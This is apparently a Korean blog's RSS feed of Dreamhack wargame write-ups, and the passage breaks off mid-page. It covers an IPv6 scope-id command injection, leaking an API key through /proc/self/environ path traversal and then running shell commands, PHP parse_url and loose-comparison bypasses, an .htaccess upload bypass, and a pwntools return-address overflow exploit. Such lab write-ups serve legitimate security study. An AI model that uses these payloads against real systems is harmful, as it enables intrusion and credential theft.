컴퓨터는 여러 개의 서로 다른 스코프의 링크-로컬 주소를 가질 수 있다. 스코프 아이디는 각 주소가 어느 스코프를 위한 것인지를 나타낸다. 예를 들어보자. 컴퓨터가 두 개의 NIC(네트워크 인터페이스 카드)를 갖고 있고 다른 네트워크의 링크-로컬 주소를 가지고 있다. 무언가를 fe80 으로 시작하는 또 다른 주소로 보내려고 한다면, 컴퓨터는 어떤 NIC 를 통해서 보내야 할 지 어떻게 구별할 것인가?
```

출처:

https://daewonyoon.tistory.com/182

[알락블록:티스토리]

- https://github.com/python/cpython/blob/main/Lib/ipaddress.py

```python
def _split_scope_id(ip_str):
        &quot;&quot;&quot;Helper function to parse IPv6 string address with scope id.

        See RFC 4007 for details.

        Args:
            ip_str: A string, the IPv6 address.

        Returns:
            (addr, scope_id) tuple.

        &quot;&quot;&quot;
        addr, sep, scope_id = ip_str.partition(&#39;%&#39;)
        if not sep:
            scope_id = None
        elif not scope_id or &#39;%&#39; in scope_id:
            raise AddressValueError(&#39;Invalid IPv6 address: &quot;%r&quot;&#39; % ip_str)
        return addr, scope_id
```

- 이 코드에서 %를 기준으로 나눈다.
    - addr는 %의 앞부분 sep는 % scope_id는 %이후
    - sep 가 없다면 scope_id가 입력되지 않은 것이다.
    - scope_id가 없고 scope_id에 %가 있다면 에러
- scope_id에 %를 제외하고 아무 문자열이 와도 상관이 없다.</code></pre><h3 id="공격">공격</h3>
<ul>
<li><p>적당한 ipv6주소 + % + ; + shell명령어를 host에 넣으면 성공할 것 같다.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/6e5b111b-f01e-4a3a-bef5-df5f44a8aa4b/image.png" alt=""></p>
</li>
</ul>
<pre><code>![](https://velog.velcdn.com/images/imkyu_1228/post/e76cb19c-bb0a-4bc6-b9e3-e55931249a77/image.png)</code></pre><ul>
<li>성공</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] File Vulnerability Advanced for linux]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-File-Vulnerability-Advanced-for-linux</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-File-Vulnerability-Advanced-for-linux</guid>
            <pubDate>Sun, 24 Nov 2024 06:46:35 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/d202910a-153f-4950-8943-e21affeb3155/image.png" alt=""></p>
<h2 id="웹페이지">웹페이지</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/61d440a9-ad43-47f5-a40d-869a3266d1a2/image.png" alt=""></p>
<h2 id="문제-파일">문제 파일</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/df57112d-2476-4516-9f0c-cc80e6280bed/image.png" alt=""></p>
<h2 id="설명">설명</h2>
<pre><code class="language-python"># main.py
import os, subprocess
from functools import wraps
from flask import Flask, request

app = Flask(__name__)
API_KEY = os.environ.get(&#39;API_KEY&#39;, None)

def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get(&#39;API_KEY&#39;, None)
        if API_KEY and apikey:
            if apikey == API_KEY:
                return view(**kwargs)
        return &#39;Access Denied !&#39;
    return wrapped_view

@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def index():
    return &#39;API Index&#39;

@app.route(&#39;/file&#39;, methods=[&#39;GET&#39;])
def file():
    path = request.args.get(&#39;path&#39;, None)
    if path:
        data = open(&#39;./files/&#39; + path).read()
        return data
    return &#39;Error !&#39;

@app.route(&#39;/admin&#39;, methods=[&#39;GET&#39;])
@key_required
def admin():
    cmd = request.args.get(&#39;cmd&#39;, None)
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return &#39;Error !&#39;

if __name__ == &#39;__main__&#39;:
    app.run(host=&#39;0.0.0.0&#39;, debug=True)
</code></pre>
<ul>
<li><p>shell을 실행시켜 flag에 관련된 파일을 찾아보면 될 것 같다</p>
</li>
<li><p>admin에서 cmd를 사용하지만 @key_required라는 데코레이터에서  API_KEY를 검증하고 있다.</p>
</li>
<li><p>API_KEY는 <code>API_KEY = os.environ.get(&#39;API_KEY&#39;, None)</code>를 통해 알 수 있다.</p>
<pre><code class="language-docker">  #dockerfile
  FROM tiangolo/uwsgi-nginx-flask:python3.10

  # ENV
  ENV port 80
  ENV API_KEY API_KEY

  # SET USER
  RUN useradd -d /home/user/ -m -s /bin/bash user

  # SET packages
  RUN apt-get update -y
  RUN apt-get install -y python3-pip

  # SET challenges
  ADD ./app /app
  WORKDIR /app
  RUN pip install -r requirements.txt
  ADD ./nginx/ /etc/nginx/conf.d/
  EXPOSE $port</code></pre>
<ul>
<li><code>ENV API_KEY API_KEY</code> 로 API_KEY가 설정되어있다.</li>
<li>환경변수로 설정되어있는 API_KEY는 <code>/proc/self/environ</code> 에 기록되어있다.</li>
</ul>
</li>
<li><p>file 페이지를 통해 <code>/proc/self/environ</code> 읽어보자.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/18378d90-bb8b-421e-aa89-74d6b6a2f574/image.png" alt=""></p>
</li>
</ul>
<pre><code>- API_KEY = d22cb18e86fc9e23996650150461c9f794ad3a4f</code></pre><ul>
<li><p>테스트로 ls 명령어를 해봤다.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/2fddcc40-6bdc-4daa-985c-56e02c98012d/image.png" alt=""></p>
</li>
</ul>
<pre><code>- [http://호스트/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=ls](http://host3.dreamhack.games:9852/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=ls)</code></pre><ul>
<li><p>최상위 폴더로 옮겨서 flag 파일이 있는지 확인</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/ec85f390-6bc0-40a4-88e0-497009edfe36/image.png" alt=""></p>
</li>
</ul>
<pre><code>- [http://호스트/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=](http://host3.dreamhack.games:9852/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=ls)cd ../../../../../../;ls
- flag가 있다</code></pre><ul>
<li><p>cat flag를 하니 error발생</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/781c9c35-f910-427a-a326-ef541a9b7f78/image.png" alt=""></p>
</li>
</ul>
<pre><code>- [http://호스트/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=](http://host3.dreamhack.games:9852/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=ls)cd ../../../../../../;cat flag</code></pre><ul>
<li><p>./flag를 하니 플래그가 나왔다.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/d191ebc7-aee2-44b4-b84a-d3a661ff8fd7/image.png" alt=""></p>
</li>
</ul>
<pre><code>- [http://호스트/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=](http://host3.dreamhack.games:9852/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&amp;cmd=ls)cd ../../../../../../;./flag</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] simple-phparse]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-simple-phparse</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-simple-phparse</guid>
            <pubDate>Sun, 24 Nov 2024 06:42:48 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/f3c14745-16a9-4b23-bd6a-b29a60546c50/image.png" alt=""></p>
<h2 id="웹페이지">웹페이지</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/c8111535-3b2b-48b6-847c-55c5d13dd0a0/image.png" alt=""></p>
<h2 id="문제파일">문제파일</h2>
<pre><code class="language-php">&lt;!-- index.php --&gt;
&lt;html&gt;
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;&gt;
    &lt;title&gt;PHParse&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

    &lt;!-- php code --&gt;
    &lt;?php
     $url = $_SERVER[&#39;REQUEST_URI&#39;];
     $host = parse_url($url,PHP_URL_HOST);
     $path = parse_url($url,PHP_URL_PATH);
     $query = parse_url($url,PHP_URL_QUERY);
     echo &quot;&lt;div&gt;&lt;h1&gt; host: $host &lt;br&gt; path: $path &lt;br&gt; query: $query&lt;br&gt;&lt;/h1&gt;&lt;/div&gt;&quot;;

     if(preg_match(&quot;/flag.php/i&quot;, $path)){
        echo &quot;&lt;div&gt;&lt;h1&gt;NO....&lt;/h1&gt;&lt;/div&gt;&quot;;
     }
     else echo &quot;&lt;div&gt;&lt;h1&gt;Cannot access flag.php: $path &lt;/h1&gt;&lt;/div&gt; &quot;;
    ?&gt; 

&lt;style type=&quot;text/css&quot;&gt;
        body {
            margin: 1em;
        }
        div {
            margin: 0 5px 0 0;
            padding: 0.1em;
            border: 2px solid silver;
            border-radius: 7px;
        }

&lt;/style&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<h2 id="설명">설명</h2>
<ul>
<li>flag.php에 접속하면 flag가 나올 것이라고 추측할 수 있다.</li>
<li>하지만 필터링 되고 있기 때문에 우회해야한다.</li>
<li>$url은 url의 path 이후에 데이터이다. ex) <a href="http://localhost:8080/%E2%80%9Dflag.php?content=hello%E2%80%9D">http://localhost:8080/”flag.php?content=hello”</a></li>
<li>parse_url함수는 문자열을 url로 해석하고 그 에 맞게 배열을 생성해준다. 또한 url이 유효한지 검사를 하지 않는다.<ul>
<li>parse_url은 //로 시작하면 host로 인식하기 때문에 //flag.php로 path를 지정하면 path검증을 우회 할 수 있다.</li>
</ul>
</li>
<li><a href="http://host//flag.php">http://host//flag.php</a> 을 입력한다.</li>
<li>여기서 //flag.php를 입력해도 정상적으로 작동하는게 궁금해서 찾아봤는데 기본적을 아무 설정을 안건들이면 중복슬래시는 자동으로 하나로 변환된다고 한다.</li>
</ul>
<h2 id="결과">결과</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/bb0222a6-3ee2-4c86-8edd-2739e5304591/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] Type c-j]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-Type-c-j</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-Type-c-j</guid>
            <pubDate>Sun, 24 Nov 2024 06:41:20 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/026a375c-d536-48a7-a822-bdd40144d1c2/image.png" alt=""></p>
<h2 id="웹페이지">웹페이지</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/f38a64c1-41d6-4d83-a7ad-70136c1ff5ab/image.png" alt=""></p>
<h2 id="문제파일">문제파일</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/8e5e48fd-2342-4fc7-9581-cdf3772e23da/image.png" alt=""></p>
<h2 id="설명">설명</h2>
<pre><code class="language-php">&lt;?php
// check.php의 일부
    function getRandStr($length = 10) {
        $characters = &#39;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;;
        $charactersLength = strlen($characters);
        $randomString = &#39;&#39;;

        for ($i = 0; $i &lt; $length; $i++) {
            $randomString .= $characters[mt_rand(0, $charactersLength - 1)];
        }
        return $randomString;

    }
    require_once(&#39;flag.php&#39;);
    error_reporting(0);
    $id = getRandStr();
    $pw = sha1(&quot;1&quot;);
    // POST request
    if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
      $input_id = $_POST[&quot;input1&quot;] ? $_POST[&quot;input1&quot;] : &quot;&quot;;
      $input_pw = $_POST[&quot;input2&quot;] ? $_POST[&quot;input2&quot;] : &quot;&quot;;
      sleep(1);

      if((int)$input_id == $id &amp;&amp; strlen($input_id) === 10){
        echo &#39;&lt;h4&gt;ID pass.&lt;/h4&gt;&lt;br&gt;&#39;;
        if((int)$input_pw == $pw &amp;&amp; strlen($input_pw) === 8){
            echo &quot;&lt;pre&gt;FLAG\n&quot;;
            echo $flag;
            echo &quot;&lt;/pre&gt;&quot;;
          }
        } else{
          echo &#39;&lt;h4&gt;Try again.&lt;/h4&gt;&lt;br&gt;&#39;;
        }
      }else {
      echo &#39;&lt;h3&gt;Fail...&lt;/h3&gt;&#39;;
     }
    ?&gt; </code></pre>
<ul>
<li>로그인을 하면 flag가 보인다</li>
<li>하지만 아이디는 랜덤으로 생성이 되고 패스워드는 해시되어있다.</li>
<li>아이디 검증로직을 우회하는 방법의 힌트는 비교연산자(==)이다.<ul>
<li>php에서 == 는 느슨한 비교연산자이다.</li>
<li>C나 java에서 사용하는 == 연산자와 다르다.<ul>
<li>C나 java에서 사용하는 == 처럼 데이터 형식까지 비교하는 연산자는 php에서 엄격한 비교 (===)이다.</li>
</ul>
</li>
<li>느슨한 비교의 특징은 자동으로 형변환을 해준다.</li>
<li><code>if ((int)$input_id == $id &amp;&amp; strlen($input_id) === 10)</code><ul>
<li>여기서 $input_id를 int으로 형변환하여 비교하고 $id는 그에 맞춰 자동으로 int형으로 형변환 해준다.</li>
<li>int로 형변환 할때 숫자로 시작하지 않는다면 0으로 변환된다. ex) abcdefg ⇒ 0</li>
<li>숫자로 시작한다면 숫자가 아닌 문자가 나올때까지 변환된다. ex) 01234abc ⇒ 01234</li>
<li>만약 랜덤으로 생성된 아이디가 숫자가 아닌 문자로 시작된다면 0이고 글자가 10개로 제한이 되어있기 때문에 “000000000000” 를 입력한다. (int)”0000000000” ⇒ 0</li>
</ul>
</li>
</ul>
</li>
<li>비밀번호는 sha(”1”)를 해시하고 8자리를 가져오면 된다.<ul>
<li>해시값 <strong>356a192b7913b04c54574d18c28d46e6395428ab</strong></li>
<li>해시값 8자리 <strong>356a192b</strong></li>
<li>또는 아이디 우회를 한 것처럼 “356’문자열5자리’”도 가능</li>
</ul>
</li>
</ul>
<h2 id="결과">결과</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/a6dd2b00-ae26-4286-a021-249331e531bb/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/cbc34553-e717-4d10-a886-763a00241cfb/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] Apache htaccess]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-Apache-htaccess</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-Apache-htaccess</guid>
            <pubDate>Sun, 24 Nov 2024 06:36:58 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/dc7ab4d9-6856-461f-86da-bf88d07ee53b/image.png" alt=""></p>
<h2 id="문제-파일">문제 파일</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/cfc747a5-80f3-4856-8ea2-86a9120ddea4/image.png" alt=""></p>
<ul>
<li><p>Dockerfile은 도커 이미지를 생성하기 위한 설정파일</p>
<ul>
<li><p>실습서버의 환경</p>
<pre><code class="language-docker">#Dockerfile

FROM ubuntu:14.04

RUN apt-get update
RUN apt-get upgrade -y

RUN apt-get install -y zip unzip tzdata curl
RUN apt-get install -y php5
RUN apt-get install -y apache2 libapache2-mod-php5

RUN rm /var/www/html/index.html
COPY ./src /var/www/html/
RUN chmod 777 /var/www/html/upload/
COPY ./run-lamp.sh /usr/sbin/
COPY ./000-default.conf /etc/apache2/sites-enabled/

RUN a2enmod rewrite
RUN chmod +x /usr/sbin/run-lamp.sh

# FLAG
COPY ./flag.c /flag.c
RUN apt install -y gcc \
  &amp;&amp; gcc /flag.c -o /flag \
  &amp;&amp; chmod 111 /flag &amp;&amp; rm /flag.c

EXPOSE 80

CMD [&quot;/usr/sbin/run-lamp.sh&quot;]</code></pre>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>src/index.php</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/d25e4b62-f1d4-4cc7-b621-c3d8de96789d/image.png" alt=""></p>
</li>
</ul>
<ul>
<li><p>src/upload.php</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/3a1a4d09-204b-4590-84a5-62238f265d94/image.png" alt=""></p>
</li>
</ul>
<pre><code>- 블랙리스트로 확장자를 필터링 하고 있다.
    - 확장자 우회를 하면 된다.</code></pre><ul>
<li>html로 우회 했지만 출력 하지 않는다.<ul>
<li>실행을 못한다.<ul>
<li>실행 권한 부여하면 된다. 제목이 힌트다.</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/652cecfa-79e1-433f-a921-86160664f44c/image.png" alt=""></p>
<ul>
<li><p>인터넷을 참고하여 .html 확장자를 php로 실행시키도록 만들었다.</p>
<ul>
<li><p>.htaccess는 파일이 있는 디렉토리 내 (하위디렉터리 포함) 설정 옵션을 제공한다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/78c8c5cd-8785-49f6-b44f-4446c7c0599d/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>실행되는 것을 확인</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/7635647f-be3c-42b3-b7e6-563108197d9c/image.png" alt=""></p>
</li>
</ul>
<ul>
<li><p>명령어도 잘먹힌다.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/0fcbca98-29c0-4801-856d-f929e5137f29/image.png" alt=""></p>
</li>
</ul>
<ul>
<li><p>이제 플래그를 찾으면 끝.</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/fc94dc84-d809-49f2-9c62-bf4fb2a52721/image.png" alt=""></p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/bc5c1e9b-8714-4de3-8f2a-6ee517da918d/image.png" alt=""></p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] Return address overflow]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-Return-address-overflow</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-Return-address-overflow</guid>
            <pubDate>Sun, 24 Nov 2024 06:31:29 GMT</pubDate>
            <description><![CDATA[<p><a href="https://dreamhack.io/wargame/challenges/351">https://dreamhack.io/wargame/challenges/351</a></p>
<h1 id="스택-버퍼-오버플로우">스택 버퍼 오버플로우</h1>
<p>미리 만들어 놓은 버퍼를 초과해서 의도치 않게 동작을 수행하게 만드는 것 </p>
<ol>
<li>예를 들어 참이면 flag파일을 읽는 함수에 입력받을 문자열 (char 배열) 20바이트 + int형 변수 하나 4바이트+ char형 참/거짓 1바이트인 총 25바이트 저장 공간을 만들었다고 가정한다. </li>
<li>입력 문자열 20바이트 이내만 저장하도록 검사를 안하면 24바이트는 아무의미 없는 값을 넣고 마지막 bool형에 참(1)을 넣으면 flag파일을 읽을 수 있다.</li>
</ol>
<h3 id="문제-설명">문제 설명</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/8e6d9ea6-9973-4353-9d05-e8ff712a6533/image.png" alt=""></p>
<h3 id="문제-파일">문제 파일</h3>
<p>rao(실행 파일), rao.c(소스코드)</p>
<h3 id="문제-풀이">문제 풀이</h3>
<pre><code class="language-c">// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = &quot;/bin/sh&quot;;
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf(&quot;Input: &quot;);
  scanf(&quot;%s&quot;, buf);

  return 0;
}</code></pre>
<ul>
<li>init() : file descriptor에 버퍼를 사용하지 않겠다. ⇒ 무시해도 좋음</li>
<li>get_shell() : 쉘을 실행시킴 ⇒ 이 함수를 실행시키면됨</li>
<li>main() : 사용자에게 입력받음</li>
</ul>
<p>pwndbg 동적 분석 사용</p>
<p>gdb rao</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/fdc9359f-966e-4d51-9d1d-c89ac2109573/image.png" alt=""></p>
<ul>
<li><p>스택 프레임 알아보기  ⇒ <a href="https://jiravvit.tistory.com/entry/%EC%8A%A4%ED%83%9D-%ED%94%84%EB%A0%88%EC%9E%84-Stack-Frame">https://jiravvit.tistory.com/entry/스택-프레임-Stack-Frame</a></p>
<ul>
<li>스택 프레임에서 궁금했던 것<ul>
<li>Return address를 감안하여 스택 프레임을 생성해야 하나?<ul>
<li>그럴 필요없음 함수를 call하면 rsp가 자동으로 값을 뺌 ⇒ 자동 조정</li>
<li>call ⇒ jmp 이동할 곳 + rsp - 0x8 또는 0x4 == Return address 자동생성</li>
</ul>
</li>
<li>블로그에선 mov %rsp, %rbp이고 여기선 mov rbp, rsp인가?<ul>
<li>문법의 차이 ⇒ Intel(현재 이미지)이냐 at&amp;t(블로그)이냐</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>어셈블리어 함수 프롤로그 : 스택 프레임 생성</p>
<p>  예시)</p>
<ul>
<li>push rbp : 이전의 rbp</li>
<li>mov rbp, rsp : rbp를 스택의 최상단을 가르키도록 변경</li>
<li>sub rsp, 0x30 : 사용할 공간 세팅 ⇒ 0x30 만큼 사용하겠다.<ul>
<li>rsp - 0x30 하는 이유 스택은 높은 주소에서 낮은주소로 쌓임 ⇒ 빼는 것이 공간생성 더하는 것이 공간 비움</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/b406b1a8-05c0-4a75-af60-21d13a5603ed/image.png" alt=""></p>
<ul>
<li><p>어셈블리어 함수 에필로그</p>
<p>  예시)</p>
<ul>
<li>leave : mov rsp, rbp + pop rbp ⇒ 스택 공간 정리 (스택의 최상단을 스택 프레임의 하단으로 보냄 + rbp를 이전의 rbp로 복구함)</li>
<li>ret : pop rip  + jmp rip ⇒ 리턴 어드레스로 다음 명령어로 이동</li>
</ul>
</li>
</ul>
<h3 id="중요">중요!</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/e1a3b24a-47d1-4249-8ff2-f2624b7a09c1/image.png" alt="">
<img src="https://velog.velcdn.com/images/imkyu_1228/post/b29dd42e-cda5-4122-919c-32d4b9d384c1/image.png" alt=""></p>
<ul>
<li>lea rax, [rbp - 0x30] : rax에 rbp - 0x30한 주소 저장 (현재 값은 0)</li>
<li>mov rsi, rax : rsi에 rax값을 저장 ⇒ scanf의 두번째 인자 rsi (입력받은 데이터를 저장할 곳)</li>
<li>lea rdi, [rip + 0xab] :  scanf의 첫번째 인자</li>
</ul>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/1ecc8046-4f9f-4c17-8a76-06ccbf836fac/image.png" alt=""></p>
<ul>
<li>스택 영역을 보면 rbp-0x30에 값이 저장된 모습</li>
<li>rbp + 0x8 에 return address가 있는 모습</li>
</ul>
<p>⇒ 스택의 return address에 원하는 값을 넣으면 됨</p>
<ul>
<li>0x30 + 0x8 + 원하는 값을 입력<ul>
<li>원하는 값은 get_shell() 함수 주소
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/4dd5f20b-1069-41dc-aa58-789345a9b3ac/image.png" alt=""></li>
</ul>
</li>
</ul>
<pre><code class="language-python"># rao_ex.py
from pwn import *

# 로컬
# p = process(&#39;./rao&#39;)

#서버
p = remote(&#39;주소&#39;, &#39;포트&#39;)

payload = b&quot;a&quot; * 0x30 + b&quot;b&quot; * 0x8;
payload += p64(0x4006aa)

p.recvuntil(&#39;Input: &#39;)

p.sendline(payload)
p.interactive()
~</code></pre>
<h3 id="결과">결과</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/47517d54-3914-41fe-b130-88eef7ae225c/image.png" alt=""></p>
<h3 id="정리">정리</h3>
<p>프로그램 분석 ⇒ 입력 받을 데이터를 검증하지 않은 것을 발견 ⇒ STACK BUFFER OVERFLOW 사용 ⇒ 디버거를 통한 동적 분석 ⇒ 우리가 입력한 데이터를 저장하는 곳과 Return address 의 거리를 파악 ⇒ EXPOLIT!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] image-storage]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-image-storage</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-image-storage</guid>
            <pubDate>Sun, 24 Nov 2024 06:27:27 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/be75724b-fec3-4117-9f22-239e1accfca1/image.png" alt=""></p>
<h2 id="문제-파일">문제 파일</h2>
<h3 id="indexphp-listphp-uploadphp">index.php, list.php, upload.php</h3>
<pre><code class="language-php">&lt;!-- index.php --&gt;

&lt;html&gt;
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;&gt;
&lt;title&gt;Image Storage&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;!-- Fixed navbar --&gt;
    &lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&gt;
      &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;navbar-header&quot;&gt;
          &lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&gt;Image Storage&lt;/a&gt;
        &lt;/div&gt;
        &lt;div id=&quot;navbar&quot;&gt;
          &lt;ul class=&quot;nav navbar-nav&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;/list.php&quot;&gt;List&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;/upload.php&quot;&gt;Upload&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;

        &lt;/div&gt;&lt;!--/.nav-collapse --&gt;
      &lt;/div&gt;
    &lt;/nav&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;h2&gt;Upload and Share Image !&lt;/h2&gt;
    &lt;/div&gt; 
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<pre><code class="language-php">&lt;!-- list.php --&gt;

&lt;html&gt;
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;&gt;
&lt;title&gt;Image Storage&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;!-- Fixed navbar --&gt;
    &lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&gt;
      &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;navbar-header&quot;&gt;
          &lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&gt;Image Storage&lt;/a&gt;
        &lt;/div&gt;
        &lt;div id=&quot;navbar&quot;&gt;
          &lt;ul class=&quot;nav navbar-nav&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;/list.php&quot;&gt;List&lt;/a&gt;&lt;/li&gt;a
            &lt;li&gt;&lt;a href=&quot;/upload.php&quot;&gt;Upload&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;

        &lt;/div&gt;&lt;!--/.nav-collapse --&gt;
      &lt;/div&gt;
    &lt;/nav&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;div class=&quot;container&quot;&gt;&lt;ul&gt;
    &lt;?php
        $directory = &#39;./uploads/&#39;;
        $scanned_directory = array_diff(scandir($directory), array(&#39;..&#39;, &#39;.&#39;, &#39;index.html&#39;));
        foreach ($scanned_directory as $key =&gt; $value) {
            echo &quot;&lt;li&gt;&lt;a href=&#39;{$directory}{$value}&#39;&gt;&quot;.$value.&quot;&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&quot;;
        }
    ?&gt; 
    &lt;/ul&gt;&lt;/div&gt; 
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<ul>
<li>.., ., index.html를 필터링하여 업로드된 파일 리스트를 보여준다.</li>
</ul>
<pre><code class="language-php">
&lt;?php
  #upload.php
  if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {
    if (isset($_FILES)) {
      $directory = &#39;./uploads/&#39;;
      $file = $_FILES[&quot;file&quot;];
      $error = $file[&quot;error&quot;];
      $name = $file[&quot;name&quot;];
      $tmp_name = $file[&quot;tmp_name&quot;];

      if ( $error &gt; 0 ) {
        echo &quot;Error: &quot; . $error . &quot;&lt;br&gt;&quot;;
      }else {
        if (file_exists($directory . $name)) {
          echo $name . &quot; already exists. &quot;;
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo &quot;Stored in: &quot; . $directory . $name;
          }
        }
      }
    }else {
        echo &quot;Error !&quot;;
    }
    die();
  }
?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css&quot;&gt;
&lt;title&gt;Image Storage&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;!-- Fixed navbar --&gt;
    &lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&gt;
